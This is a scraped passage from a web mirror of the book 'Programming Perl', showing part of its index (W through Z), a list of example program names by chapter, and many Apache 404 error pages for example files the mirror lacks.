b assertion=\b assertion: 1.7.3. Nailing Things Down
capturing: 5.2.2. The m// Operator (Matching)
lists of, doing programmable command completion on: 32.1.11. User Interfaces
World Wide Web: 0.6.2. Usenet Newsgroups
World Wide Web (WWW) (see web)
C, around set-id scripts: 23.2.1. Unix Kernel Security Bugs
wrapping text: 7.2.1. Accessing Formatting Internals
32.1.2. String Processing, Language Text Processing, Parsing, and Searching
Perl module for: 22.1. The CPAN modules Directory
writable file test operator: 1.5.7. Some File Test Operators
3.10. Named Unary and File Test Operators
write function: 29.2.200. write
format function, declaring named sequence of picture lines: 29.2.41. format
writing
data via low-level system call: 29.2.113. print
29.2.114. printf
29.2.175. syswrite
29.2.200. write
scripts (see scripts)
to shared memory segment ID: 29.2.153. shmwrite
to files, open mode and: 29.2.104. open

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

x=, (assignment) operator: 3.17. Assignment Operators
-x (executable by effective uid/gid) file test: 3.10. Named Unary and File Test Operators
-X (executable by real uid/gid) file test: 3.10. Named Unary and File Test Operators
-x (extract program) command-line switch: 19.1. Command Processing
19.1.3. Switches
/x pattern modifier: 5.2.1. Pattern Modifiers
5.2.1. Pattern Modifiers
5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
x (repetition) operator: 1.5.2. String Operators
-X (warning disabling) command-line switch: 19.1.3. Switches
\X wildcard metasymbol: 5.3.3. Wildcard Metasymbols
XML, Perl modules for: 22.1. The CPAN modules Directory
Xor logical operator: 1.5.5. Logical Operators
XS language
code, portability of: 25.6. External Subroutines (XS)
debugging tools for: 32.1.13. Perl Language Extensions and Internals
external subroutines, wrapping: 21.3. Extending Perl (Using C from Perl)
functions, mapping between C and Perl: 21.3.1. XS and XSUBs
XSLoader module: 32.1.17. Module Installation Support
xsubpp compiler: 21.3.1. XS and XSUBs
XSUBs: 21.3. Extending Perl (Using C from Perl)
21.3.1. XS and XSUBs
(see also XS)
input and output: 21.3.3. XSUB Input and Output
wrapping subroutines for Perl: 21.3. Extending Perl (Using C from Perl)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y

y/// (transliteration) operator: 5.2. Pattern-Matching Operators
5.2.4. The tr/// Operator (Transliteration)
29.2.201. y//
yield function: 17.2.1.7. Yielding the processor

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z

^Z (Control-Z)
Control-Z as eof: 24.5.2. Generating Perl in Other Languages
Control-Z character: 2.6.8. Other Literal Tokens
Control-Z key: 2.6.8. Other Literal Tokens
\z (string boundary): 5.6.2. Endings: The \z, \Z, and $ Assertions
-z (zero size) file test: 3.10. Named Unary and File Test Operators
zero-width assertions: 5.1. The Regular Expression Bestiary
5.3.1. Metasymbol Tables
5.6. Positions
quantifiers and: 5.1. The Regular Expression Bestiary
zipping, Perl modules for: 22.1. The CPAN modules Directory
reaping: 16.1.2. Reaping Zombies
servers: 16.5.2. Networking Servers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx__.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_`.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_/ was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_/.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Programming Perl Search Page

 Programming Perl Programming PerlSearch this book Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Examples from Programming Perl

Examples for Programming Perl

Chapter 1: An Overview of Perl
MISC
gradation

Chapter 2: The Gory Details
MISC
argv
fmt
format_bugs
format_onthefly
format_passwd
getline
here_docs
newopen
sighandler

Chapter 3: Functions
MISC
cos
crypt
eval
flock
fork
getc
ioctl

Chapter 4: References and Nested Data Structures
MISC
array_of_arrays_1
array_of_arrays_2
array_of_arrays_3
array_of_hashes_1
array_of_hashes_2
array_of_hashes_3
complex_1
complex_2
complex_3
complex_4
hash_of_arrays_1
hash_of_arrays_2
hash_of_arrays_3
hash_of_hashes_1
hash_of_hashes_2
hash_of_hashes_3

Chapter 5: Packages, Modules, and Object Classes
MISC
autoload
garbage_collect
hints-constructor_inherit
hints-containment
hints-context
hints-delegation
hints-implementation
hints-instance_inherit
hints-instance_vars
hints-overriding
hints-reuse
hints-scalar_vars
tying_arrays
tying_hashes
tying_scalars

Chapter 6: Social Engineering
MISC
named_pipe
pipe_to_self
socket_tcp
socket_tcp_threaded
socket_tcp_time
socket_udp
socket_unix
sysv_ipc

Chapter 7: The Standard Perl Library
AnyDBM_File
AutoLoader
AutoSplit
Benchmark
Carp
Config
Cwd
DB_File
Devel_SelfStubber
DirHandle
DynaLoader
English
Env
Exporter
ExtUtils_Install
ExtUtils_Liblist
ExtUtils_MM_OS2
ExtUtils_MM_Unix
ExtUtils_MM_VMS
ExtUtils_MakeMaker
ExtUtils_Manifest
ExtUtils_Miniperl
ExtUtils_Mkbootstrap
ExtUtils_Mksymlists
Fcntl
FileCache
FileHandle
File_Basename
File_CheckTree
File_Copy
File_Find
File_Path
GDBM_File
Getopt_Long
Getopt_Std
I18N_Collate
IPC_Open2
IPC_Open3
Math_BigFloat
Math_BigInt
Math_Complex
NDBM_File
Net_Ping
ODBM_File
POSIX
Pod_Text
SDBM_File
Safe
Search_Dict
SelectSaver
SelfLoader
Shell
Socket
Symbol
Sys_Hostname
Sys_Syslog
Term_Cap
Term_Complete
Test_Harness
Text_Abbrev
Text_ParseWords
Text_Soundex
Text_Tabs
Text_Wrap
Tie_Hash
Tie_Scalar
Tie_SubstrHash
Time_Local
diagnostics
integer
lib
overload
sigtrap
strict
vars

Chapter 8: Other Oddments
MISC
poetry

Chapter 9: Diagnostic Messages
MISC


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch1/gradation/gradation.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch1/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/argv/argv.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/fmt/fmt.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/format_bugs/format_bugs.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/format_onthefly/format_onthefly.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/format_passwd/format_passwd.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/getline/getline.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/here_docs/here_docs.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/newopen/newopen.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch2/sighandler/sighandler.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/cos/cos.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/crypt/crypt.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/eval/eval.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/flock/flock.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/fork/fork.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/getc/getc.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/ioctl/ioctl.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch3/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_arrays_1/array_of_arrays_1.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_arrays_2/array_of_arrays_2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_arrays_3/array_of_arrays_3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_hashes_1/array_of_hashes_1.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_hashes_2/array_of_hashes_2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/array_of_hashes_3/array_of_hashes_3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/complex_1/complex_1.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/complex_2/complex_2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/complex_3/complex_3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/complex_4/complex_4.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_arrays_1/hash_of_arrays_1.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_arrays_2/hash_of_arrays_2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_arrays_3/hash_of_arrays_3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_hashes_1/hash_of_hashes_1.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_hashes_2/hash_of_hashes_2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/hash_of_hashes_3/hash_of_hashes_3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch4/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/autoload/autoload.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/garbage_collect/garbage_collect.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-constructor_inherit/hints-constructor_inherit.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-containment/hints-containment.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-context/hints-context.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-delegation/hints-delegation.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-implementation/hints-implementation.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-instance_inherit/hints-instance_inherit.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-instance_vars/hints-instance_vars.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-overriding/hints-overriding.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-reuse/hints-reuse.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/hints-scalar_vars/hints-scalar_vars.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/tying_arrays/tying_arrays.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/tying_hashes/tying_hashes.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch5/tying_scalars/tying_scalars.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/named_pipe/named_pipe.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/pipe_to_self/pipe_to_self.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/socket_tcp/socket_tcp.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/socket_tcp_threaded/socket_tcp_threaded.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/socket_tcp_time/socket_tcp_time.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/socket_udp/socket_udp.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/socket_unix/socket_unix.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch6/sysv_ipc/sysv_ipc.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/AnyDBM_File/AnyDBM_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/AutoLoader/AutoLoader.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/AutoSplit/AutoSplit.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Benchmark/Benchmark.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Carp/Carp.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Config/Config.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Cwd/Cwd.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/DB_File/DB_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Devel_SelfStubber/Devel_SelfStubber.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/diagnostics/diagnostics.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/DirHandle/DirHandle.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/DynaLoader/DynaLoader.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/English/English.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Env/Env.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Exporter/Exporter.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Install/ExtUtils_Install.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Liblist/ExtUtils_Liblist.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_MakeMaker/ExtUtils_MakeMaker.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Manifest/ExtUtils_Manifest.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Miniperl/ExtUtils_Miniperl.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Mkbootstrap/ExtUtils_Mkbootstrap.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_Mksymlists/ExtUtils_Mksymlists.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_MM_OS2/ExtUtils_MM_OS2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_MM_Unix/ExtUtils_MM_Unix.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ExtUtils_MM_VMS/ExtUtils_MM_VMS.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Fcntl/Fcntl.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/FileCache/FileCache.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/FileHandle/FileHandle.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/File_Basename/File_Basename.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/File_CheckTree/File_CheckTree.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/File_Copy/File_Copy.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/File_Find/File_Find.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/File_Path/File_Path.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/GDBM_File/GDBM_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Getopt_Long/Getopt_Long.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Getopt_Std/Getopt_Std.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/I18N_Collate/I18N_Collate.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/integer/integer.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/IPC_Open2/IPC_Open2.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/IPC_Open3/IPC_Open3.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/lib/lib.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Math_BigFloat/Math_BigFloat.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Math_BigInt/Math_BigInt.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Math_Complex/Math_Complex.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/NDBM_File/NDBM_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Net_Ping/Net_Ping.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/ODBM_File/ODBM_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/overload/overload.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Pod_Text/Pod_Text.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/POSIX/POSIX.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Safe/Safe.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/SDBM_File/SDBM_File.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Search_Dict/Search_Dict.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/SelectSaver/SelectSaver.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/SelfLoader/SelfLoader.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Shell/Shell.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/sigtrap/sigtrap.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Socket/Socket.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/strict/strict.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Symbol/Symbol.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Sys_Hostname/Sys_Hostname.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Sys_Syslog/Sys_Syslog.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Term_Cap/Term_Cap.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Term_Complete/Term_Complete.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Test_Harness/Test_Harness.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Text_Abbrev/Text_Abbrev.html was not found on this server.

